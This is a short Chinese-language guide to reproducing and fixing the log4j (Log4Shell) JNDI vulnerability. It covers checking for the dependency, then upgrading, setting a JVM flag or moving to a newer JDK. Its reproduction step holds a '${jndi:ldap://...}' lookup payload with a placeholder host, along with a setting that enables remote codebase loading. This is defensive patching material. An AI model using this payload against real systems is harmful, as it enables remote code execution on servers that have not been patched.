复现
1、确认是引用了log4j-core
基于pom.xml文件,执行命令mvn dependency:tree 查看是否有log4j-core。没有引用,便是晴天!
有,不一定使用,要查看是否排除了logback;
2、复现(与jdk版本有关)
System.setProperty("com.sun.jndi.rmi.Object.trustURLCodebase", "true");
String source = "${jndi:ldap://域名或地址}";
log.error("source = {}", source);
修复
1.Apache已发布升级修复漏洞,用户请尽快更新至安全版本:log4j-2.17.0
下载链接:log4j-2.17.0
2. 临时解决方案:
方案1:添加jvm启动参数:-Dlog4j2.formatMsgNoLookups=true
方案2:可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。